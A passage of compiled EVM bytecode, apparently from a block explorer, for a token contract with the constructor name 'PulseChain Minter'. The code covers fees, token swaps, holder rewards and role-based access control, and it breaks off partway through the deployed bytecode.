fffffffffffffff160361156d576113f6600183613eb2565b81101561150457600c61140a600184613eb2565b8154811061141a5761141a613f6d565b5f91825260209091200154600c805473ffffffffffffffffffffffffffffffffffffffff909216918390811061145257611452613f6d565b905f5260205f20015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c8054806114a8576114a8613f9a565b5f8281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905501905561156d565b600c80548061151557611515613f9a565b5f8281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001690550190555b600101611393565b5050505073ffffffffffffffffffffffffffffffffffffffff165f90815260126020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000169055565b600c545f805b8281101561162f578573ffffffffffffffffffffffffffffffffffffffff16600c82815481106115fc576115fc613f6d565b5f9182526020909120015473ffffffffffffffffffffffffffffffffffffffff160361162757600191505b6001016115ca565b50806116a557600c80546001810182555f919091527fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c70180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff87161790555b505073ffffffffffffffffffffffffffffffffffffffff83165f908152601260205260409020805462ffffff84167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000909116179055505050565b611707612104565b61115d5f612127565b6010818154811061171f575f80fd5b5f9182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b60048054610d2d90613ec5565b335f81815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490919083811015611791575f80fd5b61179e8286868403611a5a565b506001949350505050565b5f33610db9818585611b9c565b5f828152602081905260409020600101546117d081611b05565b610e7f8383611f3f565b600c818154811061171f575f80fd5b5f5b815181101561183e575f82828151811061180757611807613f6d565b60200260200101519050611835815f01518260200151670de0b6b3a76400006118309190613fc7565b61219d565b506001016117eb565b50611848336121e1565b50565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177561187581611b05565b73ffffffffffffffffffffffffffffffffffffffff83165f90815260166020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001683158015919091179091556118dc576118d6835f61221a565b50505050565b6118d6836118e985612331565b61221a565b6118f6612104565b73ffffffffffffffffffffffffffffffffffffffff8116611915575f80fd5b61184881612127565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177561194881611b05565b50601180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff166101009515159590950294909417909355601a80547fffffffffffffff000000000000000000000000ffffffff000000ffffffffffff16660100000000000062ffffff948516027fffffffffffffff000000000000000000000000ffffffffffffffffffffffffff161769ffffffffffffffffffff929092166d010000000000000000000000000002919091177fffffffffffffffffffffffffffffffffffffffffffffffffffff000000ffffff1663010000009290931691909102919091179055565b601c545f906b033b2e3c9fd0803ce800000090611a509084613fc7565b610cac919061400b565b73ffffffffffffffffffffffffffffffffffffffff8316611a79575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8216611a98575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b61184881336124ad565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052610e7f90849061256d565b5f611ba6846125b6565b90505f611bb2846125b6565b305f90815260026020526040812054919250611bcd856126ea565b6dffffffffffffffffffffffffffff169050601160029054906101000a900460ff168015611bfb5750808210155b8015611c0a575060115460ff16155b8015611c305750600b5473ffffffffffffffffffffffffffffffffffffffff8781169116145b15611c9257601180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055611c6981612748565b601180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690555b73ffffffffffffffffffffffffffffffffffffffff87165f9081526015602052604090205460ff16158015611cec575073ffffffffffffffffffffffffffffffffffffffff86165f9081526015602052604090205460ff16155b15611d90575f80611cfe878787612ade565b90925090508115611d2257611d138288613eb2565b9650611d228961036984612c29565b8015611d8d57611d328188613eb2565b96505f6064611d42836004613fc7565b611d4c919061400b565b600954909150611d74908b9073ffffffffffffffffffffffffffffffffffffffff1683612c29565b611d7e8183613eb2565b9150611d8b8a3084612c29565b505b50505b611d9b878787612c29565b601154610100900460ff168015611db5575060115460ff16155b15611dd257601a54611dd2906301000000900462ffffff16612d12565b73ffffffffffffffffffffffffffffffffffffffff87165f9081526016602052604090205460ff16611e0d57611e0b876118e989612331565b505b73ffffffffffffffffffffffffffffffffffffffff86165f9081526016602052604090205460ff16611e4857611e46866118e988612331565b505b50505050505050565b5f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff16611103575f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff85168452909152902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055611ee13390565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b5f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff1615611103575f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516808552925280832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b73ffffffffffffffffffffffffffffffffffffffff82165f908152601360205260408120805490918190036120295750505050565b5f61203385610cb2565b90508015610f1c5783156120a05761208273ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000000000000000000000000000000000000000000000168683611b0f565b80836002015f8282546120959190613f2d565b909155506120b79050565b80601b5f8282546120b19190613f2d565b90915550505b80601d546120c59190613f2d565b601d5573ffffffffffffffffffffffffffffffffffffffff85165f9081526017602052604090204290556120f882611a33565b60018401555050505050565b600a5473ffffffffffffffffffffffffffffffffffffffff16331461115d575f80fd5b600a805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6121a8338383612c29565b73ffffffffffffffffffffffffffffffffffffffff82165f9081526016602052604090205460ff1661110357610e7f826118e984612331565b73ffffffffffffffffffffffffffffffffffffffff81165f9081526016602052604090205460ff1661184857611103816118e933612331565b73ffffffffffffffffffffffffffffffffffffffff82165f908152601360205260408120805483811461232957801561225e57612259855f8611611ff4565b600192505b835f036122735761226e85612e8a565b6122fb565b805f036122fb576010805473ffffffffffffffffffffffffffffffffffffffff87165f818152601860205260408120839055600183018455929092527f1b6847dc741a1b0cd08d278845f9d819d87b734759afb55fe2de5cb82a9ae6720180547fffffffffffffffffffffffff00000000000000000000000000000000000000001690911790555b8381601e5461230a9190613eb2565b6123149190613f2d565b601e5583825561232384611a33565b60018301555b505092915050565b600c545f908190815b8181101561246e5761271061ffff1660125f600c848154811061235f5761235f613f6d565b5f91825260208083209091015473ffffffffffffffffffffffffffffffffffffffff168352820192909252604001902054600c805462ffffff90921691849081106123ac576123ac613f6d565b5f918252602090912001546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8981166004830152909116906370a0823190602401602060405180830381865afa158015612422573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124469190613f16565b6124509190613fc7565b61245a919061400b565b6124649084613f2d565b925060010161233a565b508161249b8573ffffffffffffffffffffffffffffffffffffffff165f9081526002602052604090205490565b6124a59190613f2d565b949350505050565b5f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff16611103576124ea81613011565b6124f5836020613030565b60405160200161250692919061401e565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152908290527f08c379a000000000000000000000000000000000000000000000000000000000825261256491600401613a93565b60405180910390fd5b5f61258e73ffffffffffffffffffffffffffffffffffffffff841683613216565b905080515f14806125ae5750808060200190518101906125ae919061409e565b610e7f575f80fd5b5f8173ffffffffffffffffffffffffffffffffffffffff163b5f036125dc57505f919050565b73ffffffffffffffffffffffffffffffffffffffff82165f9081526014602052604090205460ff166126bf575f8061261384613259565b909250905073ffffffffffffffffffffffffffffffffffffffff8216301480612651575073ffffffffffffffffffffffffffffffffffffffff811630145b156126bc5773ffffffffffffffffffffffffffffffffffffffff84165f908152601460209081526040808320805460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00918216811790925560169093529220805490911690911790555b50505b5073ffffffffffffffffffffffffffffffffffffffff165f9081526014602052604090205460ff1690565b601a54600b5473ffffffffffffffffffffffffffffffffffffffff165f90815260026020526040812054909162ffffff1690612726919061400b565b905081816dffffffffffffffffffffffffffff1611156127435750805b919050565b805f036127525750565b604080516003808252608082019092525f916020820160608036833701905050905030815f8151811061278757612787613f6d565b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201810191909152600d54604080517fef8ef56f0000000000000000000000000000000000000000000000000000000081529051919093169263ef8ef56f9260048083019391928290030181865afa158015612804573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061282891906140b9565b8160018151811061283b5761283b613f6d565b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000000000000000000000000000000000000000000000816002815181106128a9576128a9613f6d565b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201525f917f000000000000000000000000000000000000000000000000000000000000000016906370a0823190602401602060405180830381865afa158015612941573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906129659190613f16565b600d5490915061298d90309073ffffffffffffffffffffffffffffffffffffffff1685611a5a565b600d546040517f5c11d79500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690635c11d795906129eb9086905f908790309042906004016140d4565b5f604051808303815f87803b158015612a02575f80fd5b505af1925050508015612a13575060015b506040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201525f907f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16906370a0823190602401602060405180830381865afa158015612a9e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612ac29190613f16565b9050818111156118d657610f1c612ad98383613eb2565b6132d5565b5f808215612b83576127106019600281548110612afd57612afd613f6d565b5f9182526020909120601082040154612b2691600f166002026101000a900461ffff1687613fc7565b612b30919061400b565b91506127106019600381548110612b4957612b49613f6d565b5f9182526020909120601082040154612b7291600f166002026101000a900461ffff1687613fc7565b612b7c919061400b565b9050612c21565b8315612c215761271060195f81548110612b9f57612b9f613f6d565b5f9182526020909120601082040154612bc891600f166002026101000a900461ffff1687613fc7565b612bd2919061400b565b91506127106019600181548110612beb57612beb613f6d565b5f9182526020909120601082040154612c1491600f166002026101000a900461ffff1687613fc7565b612c1e919061400b565b90505b935093915050565b73ffffffffffffffffffffffffffffffffffffffff8316612c48575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8216612c67575f80fd5b73ffffffffffffffffffffffffffffffffffffffff83165f9081526002602052604090205481811015612c98575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8085165f8181526002602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90612d049086815260200190565b60405180910390a350505050565b6010545f819003612d21575050565b5f805a90505f5b8483108015612d3657508381105b15610f1c57601a546901000000000000000000900463ffffffff168411612d8057601a80547fffffffffffffffffffffffffffffffffffffff00000000ffffffffffffffffff1690555b601a54601080545f926901000000000000000000900463ffffffff16908110612dab57612dab613f6d565b5f91825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16808352601690915260409091205490915060ff16612e1a575f612df4826118e984612331565b905080158015612e085750612e0882613469565b15612e1857612e18826001611ff4565b505b601a80546901000000000000000000900463ffffffff16906009612e3d8361415e565b91906101000a81548163ffffffff021916908363ffffffff160217905550508180612e6790614182565b9250505a612e759084613eb2565b612e7f9085613f2d565b93505a925050612d28565b73ffffffffffffffffffffffffffffffffffffffff81165f90815260186020526040902054601054612ebd600182613eb2565b821015612f7c575f6010612ed2600184613eb2565b81548110612ee257612ee2613f6d565b5f918252602090912001546010805473ffffffffffffffffffffffffffffffffffffffff9092169250829185908110612f1d57612f1d613f6d565b5f91825260208083209190910180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9485161790559290911681526018909152604090208290555b6010805480612f8d57612f8d613f9a565b5f828152602080822083017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905590920190925573ffffffffffffffffffffffffffffffffffffffff949094168152601890935250506040812055565b6060610cac73ffffffffffffffffffffffffffffffffffffffff831660145b60605f61303e836002613fc7565b613049906002613f2d565b67ffffffffffffffff81111561306157613061613c8c565b6040519080825280601f01601f19166020018201604052801561308b576020820181803683370190505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f815181106130c1576130c1613f6d565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061312357613123613f6d565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f61315d846002613fc7565b613168906001613f2d565b90505b6001811115613204577f303132333435363738396162636465660000000000000000000000000000000085600f16601081106131a9576131a9613f6d565b1a60f81b8282815181106131bf576131bf613f6d565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a90535060049490941c936131fd816141b9565b905061316b565b50831561320f575f80fd5b9392505050565b606061320f83835f6040518060400160405280601e81526020017f416464726573733a206c6f772d6c6576656c2063616c6c206661696c656400008152506134e8565b5f80613285837f0dfe168100000000000000000000000000000000000000000000000000000000613579565b915073ffffffffffffffffffffffffffffffffffffffff8216156132d0576132cd837fd21220a700000000000000000000000000000000000000000000000000000000613579565b90505b915091565b5f81156127435750805f60646132ec836004613fc7565b6132f6919061400b565b6007549091506133409073ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000008116911683611b0f565b6008546133879073ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000008116911683611b0f565b600954601b546133d29173ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000000000000000000000000000000000000000000000811692911690611b0f565b6133dd816002613fc7565b6133e79083613eb2565b5f601b81905590925060646133fd856005613fc7565b613407919061400b565b905061341281613688565b61341c8184613eb2565b925082601f5461342c9190613f2d565b601f55601e54613448846b033b2e3c9fd0803ce8000000613fc7565b613452919061400b565b601c5461345f9190613f2d565b601c555050919050565b601a5473ffffffffffffffffffffffffffffffffffffffff82165f90815260176020526040812054909142916134ae916601000000000000900462ffffff1690613f2d565b108015610cac5750601a546d010000000000000000000000000090046bffffffffffffffffffffffff166134e183610cb2565b1192915050565b6060824710156134f6575f80fd5b5f808673ffffffffffffffffffffffffffffffffffffffff16858760405161351e91906141ed565b5f6040518083038185875af1925050503d805f8114613558576040519150601f19603f3d011682016040523d82523d5f602084013e61355d565b606091505b509150915061356e87838387613976565b979650505050505050565b60408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000851617905290515f918291829173ffffffffffffffffffffffffffffffffffffffff8716916135fb91906141ed565b5f60405180830381855afa9150503d805f8114613633576040519150601f19603f3d011682016040523d82523d5f602084013e613638565b606091505b509150915081158061364957508051155b15613658575f92505050610cac565b805160200361367e578080602001905181019061367591906140b9565b92505050610cac565b505f949350505050565b805f036136925750565b604080516003808252608082019092525f91602082016060803683370190505090507f0000000000000000000000000000000000000000000000000000000000000000815f815181106136e7576136e7613f6d565b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201810191909152600d54604080517fef8ef56f0000000000000000000000000000000000000000000000000000000081529051919093169263ef8ef56f9260048083019391928290030181865afa158015613764573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061378891906140b9565b8160018151811061379b5761379b613f6d565b73ffffffffffffffffffffffffffffffffffffffff909216602092830291909101909101526137cb600243614208565b156137ee57600f5473ffffffffffffffffffffffffffffffffffffffff16613808565b600e5473ffffffffffffffffffffffffffffffffffffffff165b8160028151811061381b5761381b613f6d565b73ffffffffffffffffffffffffffffffffffffffff9283166020918202929092010152600d546040517f095ea7b30000000000000000000000000000000000000000000000000000000081529082166004820152602481018490527f00000000000000000000000000000000000000000000000000000000000000009091169063095ea7b3906044016020604051808303815f875af11580156138c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906138e4919061409e565b50600d546040517f5c11d79500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690635c11d795906139459085905f9086906103699042906004016140d4565b5f604051808303815f87803b15801561395c575f80fd5b505af192505050801561396d575060015b15611103575050565b606083156139ad5782515f036139a65773ffffffffffffffffffffffffffffffffffffffff85163b6139a6575f80fd5b50816124a5565b6124a583838151156139c25781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125649190613a93565b73ffffffffffffffffffffffffffffffffffffffff81168114611848575f80fd5b5f60208284031215613a27575f80fd5b813561320f816139f6565b5f60208284031215613a42575f80fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461320f575f80fd5b5f5b83811015613a8b578181015183820152602001613a73565b50505f910152565b602081525f8251806020840152613ab1816040850160208701613a71565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b5f8060408385031215613af4575f80fd5b8235613aff816139f6565b946020939093013593505050565b8015158114611848575f80fd5b803562ffffff81168114612743575f80fd5b5f8060408385031215613b3d575f80fd5b8235613b4881613b0d565b9150613b5660208401613b1a565b90509250929050565b5f805f60608486031215613b71575f80fd5b8335613b7c816139f6565b92506020840135613b8c816139f6565b929592945050506040919091013590565b5f60208284031215613bad575f80fd5b5035919050565b5f8060408385031215613bc5575f80fd5b823591506020830135613bd7816139f6565b809150509250929050565b803561ffff81168114612743575f80fd5b5f805f8060808587031215613c06575f80fd5b613c0f85613be2565b9350613c1d60208601613be2565b9250613c2b60408601613be2565b9150613c3960608601613be2565b905092959194509250565b5f8060408385031215613c55575f80fd5b8235613b48816139f6565b5f8060408385031215613c71575f80fd5b8235613c7c816139f6565b91506020830135613bd7816139f6565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6040805190810167ffffffffffffffff81118282101715613cdc57613cdc613c8c565b60405290565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715613d2957613d29613c8c565b604052919050565b5f60208284031215613d41575f80fd5b813567ffffffffffffffff811115613d57575f80fd5b8201601f81018413613d67575f80fd5b803567ffffffffffffffff811115613d8157613d81613c8c565b613d9060208260051b01613ce2565b8082825260208201915060208360061b850101925086831115613db1575f80fd5b6020840193505b82841015610d165760408488031215613dcf575f80fd5b613dd7613cb9565b8435613de2816139f6565b8152602085810135818301529083526040909401939190910190613db8565b5f8060408385031215613e12575f80fd5b8235613e1d816139f6565b91506020830135613bd781613b0d565b5f805f8060808587031215613e40575f80fd5b8435613e4b81613b0d565b9350613e5960208601613b1a565b9250604085013569ffffffffffffffffffff81168114613e77575f80fd5b9150613c3960608601613b1a565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b81810381811115610cac57610cac613e85565b600181811c90821680613ed957607f821691505b602082108103613f10577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b50919050565b5f60208284031215613f26575f80fd5b5051919050565b80820180821115610cac57610cac613e85565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603160045260245ffd5b8082028115828204841417610cac57610cac613e85565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f8261401957614019613fde565b500490565b7f416363657373436f6e74726f6c3a206163636f756e742000000000000000000081525f8351614055816017850160208801613a71565b7f206973206d697373696e6720726f6c65200000000000000000000000000000006017918401918201528351614092816028840160208801613a71565b01602801949350505050565b5f602082840312156140ae575f80fd5b815161320f81613b0d565b5f602082840312156140c9575f80fd5b815161320f816139f6565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561413157835173ffffffffffffffffffffffffffffffffffffffff168352602093840193909201916001016140fd565b505073ffffffffffffffffffffffffffffffffffffffff9590951660608401525050608001529392505050565b5f63ffffffff821663ffffffff810361417957614179613e85565b60010192915050565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036141b2576141b2613e85565b5060010190565b5f816141c7576141c7613e85565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190565b5f82516141fe818460208701613a71565b9190910192915050565b5f8261421657614216613fde565b50069056fea2646970667358221220c01615dbe25c844f68abccdd5ac32f77c2f4c9ba32dc5f32f59440fd7a5367bf64736f6c634300081a0033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000c80909798ac76800000000000000000000000000000000000000000000000000020017227ed3ea0000000000000000000000000000165c3410fc91ef562c50559f7d2289febed552d900000000000000000000000078d58247be592f3cb7b87a5650c6b466ce4a54760000000000000000000000000000000000000000000000000000000000000045000000000000000000000000000000000000000000000000000000000000012c0000000000000000000000000000000000000000000000000000000000000045000000000000000000000000000000000000000000000000000000000000012c000000000000000000000000000000000000000000000000000000000000001150756c7365436861696e204d696e7465720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007704d494e54455200000000000000000000000000000000000000000000000000

Deployed ByteCode

0x60806040526004361061035d575f3560e01c8063631de583116101bd578063a1fb098e116100f2578063dcc1514711610092578063e173a7f51161006d578063e173a7f514610ba8578063e7b0f66614610bc7578063f2fde38b14610bdc578063f815a10a14610bfb575f80fd5b8063dcc1514714610b19578063dd62ed3e14610b38578063e0c9ffc614610b89575f80fd5b8063a9059cbb116100cd578063a9059cbb14610aa8578063aa7cddf514610ac7578063ae2e9bcb14610adc578063d547741f14610afa575f80fd5b8063a1fb098e14610a4b578063a217fddf14610a76578063a457c2d714610a89575f80fd5b80637ad71f721161015d5780638da5cb5b116101385780638da5cb5b1461098057806391d14854146109aa57806395d89b41146109f9578063a146a55b14610a0d575f80fd5b80637ad71f7214610916578063821cb340146109355780638b3ca60714610965575f80fd5b806370a082311161019857806370a082311461085b578063715018a61461089c5780637580e4c6146108b057806375b238fc146108e3575f80fd5b8063631de583146107ef57806365fb30ef1461081d5780636ddd17131461083c575f80fd5b8063313ce5671161029357806348fe2287116102335780634e2d4c8d1161020e5780634e2d4c8d1461071e578063500e68e91461074c578063501d815c146107a15780635be60591146107c3575f80fd5b806348fe2287146106615780634acc79ed146106b35780634b0432f2146106e5575f80fd5b80633a98ef391161026e5780633a98ef39146105ee5780633d78d41014610603578063406cf2291461062e57806342f7723f14610642575f80fd5b8063313ce5671461058557806336568abe146105b057806339509351146105cf575f80fd5b806318160ddd116102fe578063216fa4ed116102d9578063216fa4ed146104e657806323b872dd14610519578063248a9ca3146105385780632f2ff15d14610566575f80fd5b806318160ddd1461049d5780631835587e146104b25780631e9a6950146104d3575f80fd5b8063023627391161033957806302362739146103ed57806306fdde031461040c5780630758d9241461042d578063095ea7b31461047e575f80fd5b80622a20501461036857806301418205146103ab57806301ffc9a7146103ce575f80fd5b3661036457005b5f80fd5b348015610373575f80fd5b50610396610382366004613a17565b60156020525f908152604090205460ff1681565b60405190151581526020015b60405180910390f35b3480156103b6575f80fd5b506103c0601f5481565b6040519081526020016103a2565b3480156103d9575f80fd5b506103966103e8366004613a32565b610c1a565b3480156103f8575f80fd5b506103c0610407366004613a17565b610cb2565b348015610417575f80fd5b50610420610d20565b6040516103a29190613a93565b348015610438575f80fd5b50600d546104599073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016103a2565b348015610489575f80fd5b50610396610498366004613ae3565b610dac565b3480156104a8575f80fd5b506103c060065481565b3480156104bd575f80fd5b506104d16104cc366004613b2c565b610dc3565b005b6104d16104e1366004613ae3565b610e84565b3480156104f1575f80fd5b506103c07f756df11799aaceda4067614c35fe47ff6a75745e0c15792193c7bad56a1ad93281565b348015610524575f80fd5b50610396610533366004613b5f565b611003565b348015610543575f80fd5b506103c0610552366004613b9d565b5f9081526020819052604090206001015490565b348015610571575f80fd5b506104d1610580366004613bb4565b6110b4565b348015610590575f80fd5b5060055461059e9060ff1681565b60405160ff90911681526020016103a2565b3480156105bb575f80fd5b506104d16105ca366004613bb4565b6110d8565b3480156105da575f80fd5b506103966105e9366004613ae3565b611107565b3480156105f9575f80fd5b506103c0601e5481565b34801561060e575f80fd5b506103c061061d366004613a17565b60186020525f908152604090205481565b348015610639575f80fd5b506104d1611152565b34801561064d575f80fd5b506104d161065c366004613bf3565b61115f565b34801561066c575f80fd5b50601a54610696906d010000000000000000000000000090046bffffffffffffffffffffffff1681565b6040516bffffffffffffffffffffffff90911681526020016103a2565b3480156106be575f80fd5b506106d26106cd366004613b9d565b611311565b60405161ffff90911681526020016103a2565b3480156106f0575f80fd5b50601a5461070a906601000000000000900462ffffff1681565b60405162ffffff90911681526020016103a2565b348015610729575f80fd5b50610396610738366004613a17565b60166020525f908152604090205460ff1681565b348015610757575f80fd5b50610786610766366004613a17565b60136020525f908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016103a2565b3480156107ac575f80fd5b50601a5461070a906301000000900462ffffff1681565b3480156107ce575f80fd5b50600b546104599073ffffffffffffffffffffffffffffffffffffffff1681565b3480156107fa575f80fd5b50610396610809366004613a17565b60146020525f908152604090205460ff1681565b348015610828575f80fd5b506104d1610837366004613c44565b611346565b348015610847575f80fd5b506011546103969062010000900460ff1681565b348015610866575f80fd5b506103c0610875366004613a17565b73ffffffffffffffffffffffffffffffffffffffff165f9081526002602052604090205490565b3480156108a7575f80fd5b506104d16116ff565b3480156108bb575f80fd5b506104597f00000000000000000000000078d58247be592f3cb7b87a5650c6b466ce4a547681565b3480156108ee575f80fd5b506103c07fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177581565b348015610921575f80fd5b50610459610930366004613b9d565b611710565b348015610940575f80fd5b5061070a61094f366004613a17565b60126020525f908152604090205462ffffff1681565b348015610970575f80fd5b50601a5461070a9062ffffff1681565b34801561098b575f80fd5b50600a5473ffffffffffffffffffffffffffffffffffffffff16610459565b3480156109b5575f80fd5b506103966109c4366004613bb4565b5f9182526020828152604080842073ffffffffffffffffffffffffffffffffffffffff93909316845291905290205460ff1690565b348015610a04575f80fd5b50610420611745565b348015610a18575f80fd5b50601a54610a36906901000000000000000000900463ffffffff1681565b60405163ffffffff90911681526020016103a2565b348015610a56575f80fd5b506103c0610a65366004613a17565b60176020525f908152604090205481565b348015610a81575f80fd5b506103c05f81565b348015610a94575f80fd5b50610396610aa3366004613ae3565b611752565b348015610ab3575f80fd5b50610396610ac2366004613ae3565b6117a9565b348015610ad2575f80fd5b506103c0601c5481565b348015610ae7575f80fd5b5060115461039690610100900460ff1681565b348015610b05575f80fd5b506104d1610b14366004613bb4565b6117b6565b348015610b24575f80fd5b50610459610b33366004613b9d565b6117da565b348015610b43575f80fd5b506103c0610b52366004613c60565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b348015610b94575f80fd5b506104d1610ba3366004613d31565b6117e9565b348015610bb3575f80fd5b506104d1610bc2366004613e01565b61184b565b348015610bd2575f80fd5b506103c0601d5481565b348015610be7575f80fd5b506104d1610bf6366004613a17565b6118ee565b348015610c06575f80fd5b506104d1610c15366004613e2d565b61191e565b5f7fffffffff0000000000000000000000000000000000000000000000000000000082167f7965db0b000000000000000000000000000000000000000000000000000000001480610cac57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b73ffffffffffffffffffffffffffffffffffffffff81165f9081526013602052604081208054808303610ce857505f9392505050565b5f610cf282611a33565b6001840154909150808211610d0c57505f95945050505050565b610d168183613eb2565b9695505050505050565b60038054610d2d90613ec5565b80601f0160208091040260200160405190810160405280929190818152602001828054610d5990613ec5565b8015610da45780601f10610d7b57610100808354040283529160200191610da4565b820191905f5260205f20905b815481529060010190602001808311610d8757829003601f168201915b505050505081565b5f33610db9818585611a5a565b5060019392505050565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775610ded81611b05565b601180548415801562010000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff90921691909117909155610e7f5760328262ffffff1610158015610e47575062030d408262ffffff1611155b610e4f575f80fd5b601a80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000001662ffffff84161790555b505050565b7f756df11799aaceda4067614c35fe47ff6a75745e0c15792193c7bad56a1ad932610eae81611b05565b73ffffffffffffffffffffffffffffffffffffffff8316610f235760405147905f90339083908381818185875af1925050503d805f8114610f0a576040519150601f19603f3